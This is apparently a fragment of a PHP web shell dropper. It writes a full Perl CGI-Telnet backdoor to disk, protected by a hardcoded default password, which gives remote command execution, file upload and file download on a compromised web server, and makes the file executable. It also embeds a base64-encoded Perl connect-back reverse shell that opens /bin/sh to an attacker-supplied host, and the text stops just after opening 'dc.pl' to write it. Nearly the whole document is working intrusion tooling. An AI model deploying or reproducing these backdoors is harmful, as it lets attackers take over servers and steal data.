LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKCiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAkaW57J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0K';
$file = fopen("izo.cin", "w+");
$write = fwrite($file, "#!/usr/bin/perl\n#------------------------------------------------------------------------------\n# Copyright and Licence\n#------------------------------------------------------------------------------\n# CGI-Telnet Version 1.0 for NT and Unix : Run Commands on your Web Server\n#\n# Copyright (C) 2001 Rohitab Batra\n# Permission is granted to use, distribute and modify this script so long\n# as this copyright notice is left intact. If you make changes to the script\n# please document them and inform me. If you would like any changes to be made\n# in this script, you can e-mail me.\n#\n# Author: Rohitab Batra\n# Author e-mail: rohitab@rohitab.com\n# Author Homepage: http://www.rohitab.com/\n# Script Homepage: http://www.rohitab.com/cgiscripts/cgitelnet.html\n# Product Support: http://www.rohitab.com/support/\n# Discussion Forum: http://www.rohitab.com/discuss/\n# Mailing List: http://www.rohitab.com/mlist/\n#------------------------------------------------------------------------------\n\n#------------------------------------------------------------------------------\n# Installation\n#------------------------------------------------------------------------------\n# To install this script\n#\n# 1. Modify the first line \"#!/usr/bin/perl\" to point to the correct path on\n# your server. For most servers, you may not need to modify this.\n# 2. Change the password in the Configuration section below.\n# 3. If you're running the script under Windows NT, set \$WinNT = 1 in the\n# Configuration Section below.\n# 4. Upload the script to a directory on your server which has permissions to\n# execute CGI scripts. This is usually cgi-bin. Make sure that you upload\n# the script in ASCII mode.\n# 5. Change the permission (CHMOD) of the script to 755.\n# 6. Open the script in your web browser. If you uploaded the script in\n# cgi-bin, this should be http://www.yourserver.com/cgi-bin/cgitelnet.pl\n# 7. Login using the password that you specified in Step 2.\n#------------------------------------------------------------------------------\n\n#------------------------------------------------------------------------------\n# Configuration: You need to change only \$Password and \$WinNT. The other\n# values should work fine for most systems.\n#------------------------------------------------------------------------------\n\$Password = \"123456\";\t\t# Change this. You will need to enter this\n\t\t\t\t# to login.\n\n\$WinNT = 0;\t\t\t# You need to change the value of this to 1 if\n\t\t\t\t# you're running this script on a Windows NT\n\t\t\t\t# machine. If you're running it on Unix, you\n\t\t\t\t# can leave the value as it is.\n\n\$NTCmdSep = \"&\";\t\t# This character is used to seperate 2 commands\n\t\t\t\t# in a command line on Windows NT.\n\n\$UnixCmdSep = \";\";\t\t# This character is used to seperate 2 commands\n\t\t\t\t# in a command line on Unix.\n\n\$CommandTimeoutDuration = 10;\t# Time in seconds after commands will be killed\n\t\t\t\t# Don't set this to a very large value. This is\n\t\t\t\t# useful for commands that may hang or that\n\t\t\t\t# take very long to execute, like \"find /\".\n\t\t\t\t# This is valid only on Unix servers. It is\n\t\t\t\t# ignored on NT Servers.\n\n\$ShowDynamicOutput = 1;\t\t# If this is 1, then data is sent to the\n\t\t\t\t# browser as soon as it is output, otherwise\n\t\t\t\t# it is buffered and send when the command\n\t\t\t\t# completes. This is useful for commands like\n\t\t\t\t# ping, so that you can see the output as it\n\t\t\t\t# is being generated.\n\n# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!\n\n\$CmdSep = (\$WinNT ? \$NTCmdSep : \$UnixCmdSep);\n\$CmdPwd = (\$WinNT ? \"cd\" : \"pwd\");\n\$PathSep = (\$WinNT ? \"\\\\\" : \"/\");\n\$Redirector = (\$WinNT ? \" 2>&1 1>&2\" : \" 1>&1 2>&1\");\n\n#------------------------------------------------------------------------------\n# Reads the input sent by the browser and parses the input variables. It\n# parses GET, POST and multipart/form-data that is used for uploading files.\n# The filename is stored in \$in{'f'} and the data is stored in \$in{'filedata'}.\n# Other variables can be accessed using \$in{'var'}, where var is the name of\n# the variable. Note: Most of the code in this function is taken from other CGI\n# scripts.\n#------------------------------------------------------------------------------\nsub ReadParse \n{\n\tlocal (*in) = @_ if @_;\n\tlocal (\$i, \$loc, \$key, \$val);\n\t\n\t\$MultipartFormData = \$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/;\n\n\tif(\$ENV{'REQUEST_METHOD'} eq \"GET\")\n\t{\n\t\t\$in = \$ENV{'QUERY_STRING'};\n\t}\n\telsif(\$ENV{'REQUEST_METHOD'} eq \"POST\")\n\t{\n\t\tbinmode(STDIN) if \$MultipartFormData & \$WinNT;\n\t\tread(STDIN, \$in, \$ENV{'CONTENT_LENGTH'});\n\t}\n\n\t# handle file upload data\n\tif(\$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/)\n\t{\n\t\t\$Boundary = '--'.\$1; # please refer to RFC1867 \n\t\t@list = split(/\$Boundary/, \$in); \n\t\t\$HeaderBody = \$list[1];\n\t\t\$HeaderBody =~ /\\r\\n\\r\\n|\\n\\n/;\n\t\t\$Header = \$`;\n\t\t\$Body = \$';\n \t\t\$Body =~ s/\\r\\n\$//; # the last \\r\\n was put in by Netscape\n\t\t\$in{'filedata'} = \$Body;\n\t\t\$Header =~ /filename=\\\"(.+)\\\"/; \n\t\t\$in{'f'} = \$1; \n\t\t\$in{'f'} =~ s/\\\"//g;\n\t\t\$in{'f'} =~ s/\\s//g;\n\n\t\t# parse trailer\n\t\tfor(\$i=2; \$list[\$i]; \$i++)\n\t\t{ \n\t\t\t\$list[\$i] =~ s/^.+name=\$//;\n\t\t\t\$list[\$i] =~ /\\\"(\\w+)\\\"/;\n\t\t\t\$key = \$1;\n\t\t\t\$val = \$';\n\t\t\t\$val =~ s/(^(\\r\\n\\r\\n|\\n\\n))|(\\r\\n\$|\\n\$)//g;\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$in{\$key} = \$val; \n\t\t}\n\t}\n\telse # standard post data (url encoded, not multipart)\n\t{\n\t\t@in = split(/&/, \$in);\n\t\tforeach \$i (0 .. \$#in)\n\t\t{\n\t\t\t\$in[\$i] =~ s/\\+/ /g;\n\t\t\t(\$key, \$val) = split(/=/, \$in[\$i], 2);\n\t\t\t\$key =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$in{\$key} .= \"\\0\" if (defined(\$in{\$key}));\n\t\t\t\$in{\$key} .= \$val;\n\t\t}\n\t}\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML Page Header\n# Argument 1: Form item name to which focus should be set\n#------------------------------------------------------------------------------\nsub PrintPageHeader\n{\n\t\$EncodedCurrentDir = \$CurrentDir;\n\t\$EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack(\"H*\",\$1)/eg;\n\tprint \"Content-type: text/html\\n\\n\";\n\tprint <<END;\n<html>\n<head>\n<title>CGI-Telnet Version 1.0</title>\n\$HtmlMetaHeader\n</head>\n<body onLoad=\"document.f.@_.focus()\" bgcolor=\"#000000\" topmargin=\"0\" leftmargin=\"0\" marginwidth=\"0\" marginheight=\"0\">\n<table border=\"1\" width=\"100%\" cellspacing=\"0\" cellpadding=\"2\">\n<tr>\n<td bgcolor=\"#C2BFA5\" bordercolor=\"#000080\" align=\"center\">\n<b><font color=\"#000080\" size=\"2\">#</font></b></td>\n<td bgcolor=\"#000080\"><font face=\"Verdana\" size=\"2\" color=\"#FFFFFF\"><b>CGI-Telnet Version 1.0 - Connected to \$ServerName</b></font></td>\n</tr>\n<tr>\n<td colspan=\"2\" bgcolor=\"#C2BFA5\"><font face=\"Verdana\" size=\"2\">\n<a href=\"\$ScriptLocation?a=upload&d=\$EncodedCurrentDir\">Upload File</a> | \n<a href=\"\$ScriptLocation?a=download&d=\$EncodedCurrentDir\">Download File</a> |\n<a href=\"\$ScriptLocation?a=logout\">Disconnect</a> |\n<a href=\"http://www.rohitab.com/cgiscripts/cgitelnet.html\">Help</a>\n</font></td>\n</tr>\n</table>\n<font color=\"#C0C0C0\" size=\"3\">\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the Login Screen\n#------------------------------------------------------------------------------\nsub PrintLoginScreen\n{\n\t\$Message = q\$<pre><font color=\"#669999\"> _____ _____ _____ _____ _ _\n/ __ \\| __ \\|_ _| |_ _| | | | |\n| / \\/| | \\/ | | ______ | | ___ | | _ __ ___ | |_\n| | | | __ | | |______| | | / _ \\| || '_ \\ / _ \\| __|\n| \\__/\\| |_\\ \\ _| |_ | | | __/| || | | || __/| |_\n \\____/ \\____/ \\___/ \\_/ \\___||_||_| |_| \\___| \\__| 1.0\n \n</font><font color=\"#FF0000\"> ______ </font><font color=\"#AE8300\">\xc2\xa9 2001, Rohitab Batra</font><font color=\"#FF0000\">\n .-" "-.\n / \\\n | |\n |, .-. .-. ,|\n | )(_o/ \\o_)( |\n |/ /\\ \\|\n (@_ (_ ^^ _)\n _ ) \\</font><font color=\"#808080\">_______</font><font color=\"#FF0000\">\\</font><font color=\"#808080\">__</font><font color=\"#FF0000\">|IIIIII|</font><font color=\"#808080\">__</font><font color=\"#FF0000\">/</font><font color=\"#808080\">_______________________\n</font><font color=\"#FF0000\"> (_)</font><font color=\"#808080\">@8@8</font><font color=\"#FF0000\">{}</font><font color=\"#808080\"><________</font><font color=\"#FF0000\">|-\\IIIIII/-|</font><font color=\"#808080\">________________________></font><font color=\"#FF0000\">\n )_/ \\ / \n (@ `--------`\n </font><font color=\"#AE8300\">W A R N I N G: Private Server</font></pre>\n\$;\n#'\n\tprint <<END;\n<code>\nTrying \$ServerName...<br>\nConnected to \$ServerName<br>\nEscape character is ^]\n<code>\$Message\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the message that informs the user of a failed login\n#------------------------------------------------------------------------------\nsub PrintLoginFailedMessage\n{\n\tprint <<END;\n<code>\n<br>login: admin<br>\npassword:<br>\nLogin incorrect<br><br>\n</code>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form for logging in\n#------------------------------------------------------------------------------\nsub PrintLoginForm\n{\n\tprint <<END;\n<code>\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n<input type=\"hidden\" name=\"a\" value=\"login\">\nlogin: admin<br>\npassword:<input type=\"password\" name=\"p\">\n<input type=\"submit\" value=\"Enter\">\n</form>\n</code>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the footer for the HTML Page\n#------------------------------------------------------------------------------\nsub PrintPageFooter\n{\n\tprint \"</font></body></html>\";\n}\n\n#------------------------------------------------------------------------------\n# Retreives the values of all cookies. The cookies can be accesses using the\n# variable \$Cookies{''}\n#------------------------------------------------------------------------------\nsub GetCookies\n{\n\t@httpcookies = split(/; /,\$ENV{'HTTP_COOKIE'});\n\tforeach \$cookie(@httpcookies)\n\t{\n\t\t(\$id, \$val) = split(/=/, \$cookie);\n\t\t\$Cookies{\$id} = \$val;\n\t}\n}\n\n#------------------------------------------------------------------------------\n# Prints the screen when the user logs out\n#------------------------------------------------------------------------------\nsub PrintLogoutScreen\n{\n\tprint \"<code>Connection closed by foreign host.<br><br></code>\";\n}\n\n#------------------------------------------------------------------------------\n# Logs out the user and allows the user to login again\n#------------------------------------------------------------------------------\nsub PerformLogout\n{\n\tprint \"Set-Cookie: SAVEDPWD=;\\n\"; # remove password cookie\n\t&PrintPageHeader(\"p\");\n\t&PrintLogoutScreen;\n\t&PrintLoginScreen;\n\t&PrintLoginForm;\n\t&PrintPageFooter;\n}\n\n#------------------------------------------------------------------------------\n# This function is called to login the user. If the password matches, it\n# displays a page that allows the user to run commands. If the password doens't\n# match or if no password is entered, it displays a form that allows the user\n# to login\n#------------------------------------------------------------------------------\nsub PerformLogin \n{\n\tif(\$LoginPassword eq \$Password) # password matched\n\t{\n\t\tprint \"Set-Cookie: SAVEDPWD=\$LoginPassword;\\n\";\n\t\t&PrintPageHeader(\"c\");\n\t\t&PrintCommandLineInputForm;\n\t\t&PrintPageFooter;\n\t}\n\telse # password didn't match\n\t{\n\t\t&PrintPageHeader(\"p\");\n\t\t&PrintLoginScreen;\n\t\tif(\$LoginPassword ne \"\") # some password was entered\n\t\t{\n\t\t\t&PrintLoginFailedMessage;\n\t\t}\n\t\t&PrintLoginForm;\n\t\t&PrintPageFooter;\n\t}\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form that allows the user to enter commands\n#------------------------------------------------------------------------------\nsub PrintCommandLineInputForm\n{\n\t\$Prompt = \$WinNT ? \"\$CurrentDir> \" : \"[admin\\@\$ServerName \$CurrentDir]\\\$ \";\n\tprint <<END;\n<code>\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n<input type=\"hidden\" name=\"a\" value=\"command\">\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n\$Prompt\n<input type=\"text\" name=\"c\">\n<input type=\"submit\" value=\"Enter\">\n</form>\n</code>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form that allows the user to download files\n#------------------------------------------------------------------------------\nsub PrintFileDownloadForm\n{\n\t\$Prompt = \$WinNT ? \"\$CurrentDir> \" : \"[admin\\@\$ServerName \$CurrentDir]\\\$ \";\n\tprint <<END;\n<code>\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n<input type=\"hidden\" name=\"a\" value=\"download\">\n\$Prompt download<br><br>\nFilename: <input type=\"text\" name=\"f\" size=\"35\"><br><br>\nDownload: <input type=\"submit\" value=\"Begin\">\n</form>\n</code>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form that allows the user to upload files\n#------------------------------------------------------------------------------\nsub PrintFileUploadForm\n{\n\t\$Prompt = \$WinNT ? \"\$CurrentDir> \" : \"[admin\\@\$ServerName \$CurrentDir]\\\$ \";\n\tprint <<END;\n<code>\n<form name=\"f\" enctype=\"multipart/form-data\" method=\"POST\" action=\"\$ScriptLocation\">\n\$Prompt upload<br><br>\nFilename: <input type=\"file\" name=\"f\" size=\"35\"><br><br>\nOptions: <input type=\"checkbox\" name=\"o\" value=\"overwrite\">\nOverwrite if it Exists<br><br>\nUpload: <input type=\"submit\" value=\"Begin\">\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n<input type=\"hidden\" name=\"a\" value=\"upload\">\n</form>\n</code>\nEND\n}\n\n#------------------------------------------------------------------------------\n# This function is called when the timeout for a command expires. We need to\n# terminate the script immediately. This function is valid only on Unix. It is\n# never called when the script is running on NT.\n#------------------------------------------------------------------------------\nsub CommandTimeout\n{\n\tif(!\$WinNT)\n\t{\n\t\talarm(0);\n\t\tprint <<END;\n</xmp>\n<code>\nCommand exceeded maximum time of \$CommandTimeoutDuration second(s).\n<br>Killed it!\n<code>\nEND\n\t\t&PrintCommandLineInputForm;\n\t\t&PrintPageFooter;\n\t\texit;\n\t}\n}\n\n#------------------------------------------------------------------------------\n# This function is called to execute commands. It displays the output of the\n# command and allows the user to enter another command. The change directory\n# command is handled differently. In this case, the new directory is stored in\n# an internal variable and is used each time a command has to be executed. The\n# output of the change directory command is not displayed to the users\n# therefore error messages cannot be displayed.\n#------------------------------------------------------------------------------\nsub ExecuteCommand\n{\n\tif(\$RunCommand =~ m/^\\s*cd\\s+(.+)/) # it is a change dir command\n\t{\n\t\t# we change the directory internally. The output of the\n\t\t# command is not displayed.\n\t\t\n\t\t\$OldDir = \$CurrentDir;\n\t\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\"cd \$1\".\$CmdSep.\$CmdPwd;\n\t\tchop(\$CurrentDir = `\$Command`);\n\t\t&PrintPageHeader(\"c\");\n\t\t\$Prompt = \$WinNT ? \"\$OldDir> \" : \"[admin\\@\$ServerName \$OldDir]\\\$ \";\n\t\tprint \"<code>\$Prompt \$RunCommand</code>\";\n\t}\n\telse # some other command, display the output\n\t{\n\t\t&PrintPageHeader(\"c\");\n\t\t\$Prompt = \$WinNT ? \"\$CurrentDir> \" : \"[admin\\@\$ServerName \$CurrentDir]\\\$ \";\n\t\tprint \"<code>\$Prompt \$RunCommand</code><xmp>\";\n\t\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\$RunCommand.\$Redirector;\n\t\tif(!\$WinNT)\n\t\t{\n\t\t\t\$SIG{'ALRM'} = \\&CommandTimeout;\n\t\t\talarm(\$CommandTimeoutDuration);\n\t\t}\n\t\tif(\$ShowDynamicOutput) # show output as it is generated\n\t\t{\n\t\t\t\$|=1;\n\t\t\t\$Command .= \" |\";\n\t\t\topen(CommandOutput, \$Command);\n\t\t\twhile(<CommandOutput>)\n\t\t\t{\n\t\t\t\t\$_ =~ s/(\\n|\\r\\n)\$//;\n\t\t\t\tprint \"\$_\\n\";\n\t\t\t}\n\t\t\t\$|=0;\n\t\t}\n\t\telse # show output after command completes\n\t\t{\n\t\t\tprint `\$Command`;\n\t\t}\n\t\tif(!\$WinNT)\n\t\t{\n\t\t\talarm(0);\n\t\t}\n\t\tprint \"</xmp>\";\n\t}\n\t&PrintCommandLineInputForm;\n\t&PrintPageFooter;\n}\n\n#------------------------------------------------------------------------------\n# This function displays the page that contains a link which allows the user\n# to download the specified file. The page also contains a auto-refresh\n# feature that starts the download automatically.\n# Argument 1: Fully qualified filename of the file to be downloaded\n#------------------------------------------------------------------------------\nsub PrintDownloadLinkPage\n{\n\tlocal(\$FileUrl) = @_;\n\tif(-e \$FileUrl) # if the file exists\n\t{\n\t\t# encode the file link so we can send it to the browser\n\t\t\$FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack(\"H*\",\$1)/eg;\n\t\t\$DownloadLink = \"\$ScriptLocation?a=download&f=\$FileUrl&o=go\";\n\t\t\$HtmlMetaHeader = \"<meta HTTP-EQUIV=\\\"Refresh\\\" CONTENT=\\\"1; URL=\$DownloadLink\\\">\";\n\t\t&PrintPageHeader(\"c\");\n\t\tprint <<END;\n<code>\nSending File \$TransferFile...<br>\nIf the download does not start automatically,\n<a href=\"\$DownloadLink\">Click Here</a>.\n</code>\nEND\n\t\t&PrintCommandLineInputForm;\n\t\t&PrintPageFooter;\n\t}\n\telse # file doesn't exist\n\t{\n\t\t&PrintPageHeader(\"f\");\n\t\tprint \"<code>Failed to download \$FileUrl: \$!</code>\";\n\t\t&PrintFileDownloadForm;\n\t\t&PrintPageFooter;\n\t}\n}\n\n#------------------------------------------------------------------------------\n# This function reads the specified file from the disk and sends it to the\n# browser, so that it can be downloaded by the user.\n# Argument 1: Fully qualified pathname of the file to be sent.\n#------------------------------------------------------------------------------\nsub SendFileToBrowser\n{\n\tlocal(\$SendFile) = @_;\n\tif(open(SENDFILE, \$SendFile)) # file opened for reading\n\t{\n\t\tif(\$WinNT)\n\t\t{\n\t\t\tbinmode(SENDFILE);\n\t\t\tbinmode(STDOUT);\n\t\t}\n\t\t\$FileSize = (stat(\$SendFile))[7];\n\t\t(\$Filename = \$SendFile) =~ m!([^/^\\\\]*)\$!;\n\t\tprint \"Content-Type: application/x-unknown\\n\";\n\t\tprint \"Content-Length: \$FileSize\\n\";\n\t\tprint \"Content-Disposition: attachment; filename=\$1\\n\\n\";\n\t\tprint while(<SENDFILE>);\n\t\tclose(SENDFILE);\n\t}\n\telse # failed to open file\n\t{\n\t\t&PrintPageHeader(\"f\");\n\t\tprint \"<code>Failed to download \$SendFile: \$!</code>\";\n\t\t&PrintFileDownloadForm;\n\t\t&PrintPageFooter;\n\t}\n}\n\n\n#------------------------------------------------------------------------------\n# This function is called when the user downloads a file. It displays a message\n# to the user and provides a link through which the file can be downloaded.\n# This function is also called when the user clicks on that link. In this case,\n# the file is read and sent to the browser.\n#------------------------------------------------------------------------------\nsub BeginDownload\n{\n\t# get fully qualified path of the file to be downloaded\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) |\n\t\t(!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\n\t{\n\t\t\$TargetFile = \$TransferFile;\n\t}\n\telse # path is relative\n\t{\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\n\t}\n\n\tif(\$Options eq \"go\") # we have to send the file\n\t{\n\t\t&SendFileToBrowser(\$TargetFile);\n\t}\n\telse # we have to send only the link page\n\t{\n\t\t&PrintDownloadLinkPage(\$TargetFile);\n\t}\n}\n\n#------------------------------------------------------------------------------\n# This function is called when the user wants to upload a file. If the\n# file is not specified, it displays a form allowing the user to specify a\n# file, otherwise it starts the upload process.\n#------------------------------------------------------------------------------\nsub UploadFile\n{\n\t# if no file is specified, print the upload form again\n\tif(\$TransferFile eq \"\")\n\t{\n\t\t&PrintPageHeader(\"f\");\n\t\t&PrintFileUploadForm;\n\t\t&PrintPageFooter;\n\t\treturn;\n\t}\n\t&PrintPageHeader(\"c\");\n\n\t# start the uploading process\n\tprint \"<code>Uploading \$TransferFile to \$CurrentDir...<br>\";\n\n\t# get the fullly qualified pathname of the file to be created\n\tchop(\$TargetName) if (\$TargetName = \$CurrentDir) =~ m/[\\\\\\/]\$/;\n\t\$TransferFile =~ m!([^/^\\\\]*)\$!;\n\t\$TargetName .= \$PathSep.\$1;\n\n\t\$TargetFileSize = length(\$in{'filedata'});\n\t# if the file exists and we are not supposed to overwrite it\n\tif(-e \$TargetName && \$Options ne \"overwrite\")\n\t{\n\t\tprint \"Failed: Destination file already exists.<br>\";\n\t}\n\telse # file is not present\n\t{\n\t\tif(open(UPLOADFILE, \">\$TargetName\"))\n\t\t{\n\t\t\tbinmode(UPLOADFILE) if \$WinNT;\n\t\t\tprint UPLOADFILE \$in{'filedata'};\n\t\t\tclose(UPLOADFILE);\n\t\t\tprint \"Transfered \$TargetFileSize Bytes.<br>\";\n\t\t\tprint \"File Path: \$TargetName<br>\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\tprint \"Failed: \$!<br>\";\n\t\t}\n\t}\n\tprint \"</code>\";\n\t&PrintCommandLineInputForm;\n\t&PrintPageFooter;\n}\n\n#------------------------------------------------------------------------------\n# This function is called when the user wants to download a file. If the\n# filename is not specified, it displays a form allowing the user to specify a\n# file, otherwise it displays a message to the user and provides a link\n# through which the file can be downloaded.\n#------------------------------------------------------------------------------\nsub DownloadFile\n{\n\t# if no file is specified, print the download form again\n\tif(\$TransferFile eq \"\")\n\t{\n\t\t&PrintPageHeader(\"f\");\n\t\t&PrintFileDownloadForm;\n\t\t&PrintPageFooter;\n\t\treturn;\n\t}\n\t\n\t# get fully qualified path of the file to be downloaded\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) |\n\t\t(!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\n\t{\n\t\t\$TargetFile = \$TransferFile;\n\t}\n\telse # path is relative\n\t{\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\n\t}\n\n\tif(\$Options eq \"go\") # we have to send the file\n\t{\n\t\t&SendFileToBrowser(\$TargetFile);\n\t}\n\telse # we have to send only the link page\n\t{\n\t\t&PrintDownloadLinkPage(\$TargetFile);\n\t}\n}\n\n#------------------------------------------------------------------------------\n# Main Program - Execution Starts Here\n#------------------------------------------------------------------------------\n&ReadParse;\n&GetCookies;\n\n\$ScriptLocation = \$ENV{'SCRIPT_NAME'};\n\$ServerName = \$ENV{'SERVER_NAME'};\n\$LoginPassword = \$in{'p'};\n\$RunCommand = \$in{'c'};\n\$TransferFile = \$in{'f'};\n\$Options = \$in{'o'};\n\n\$Action = \$in{'a'};\n\$Action = \"login\" if(\$Action eq \"\"); # no action specified, use default\n\n# get the directory in which the commands will be executed\n\$CurrentDir = \$in{'d'};\nchop(\$CurrentDir = `\$CmdPwd`) if(\$CurrentDir eq \"\");\n\n\$LoggedIn = \$Cookies{'SAVEDPWD'} eq \$Password;\n\nif(\$Action eq \"login\" || !\$LoggedIn) # user needs/has to login\n{\n\t&PerformLogin;\n}\nelsif(\$Action eq \"command\") # user wants to run a command\n{\n\t&ExecuteCommand;\n}\nelsif(\$Action eq \"upload\") # user wants to upload a file\n{\n\t&UploadFile;\n}\nelsif(\$Action eq \"download\") # user wants to download a file\n{\n\t&DownloadFile;\n}\nelsif(\$Action eq \"logout\") # user wants to logout\n{\n\t&PerformLogout;\n}\n");
fclose($file);
chmod("izo.cin", 0755);
$netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
YXRhY2hlZFxuXG4iOw==';
$file = fopen("dc.pl", "w+");
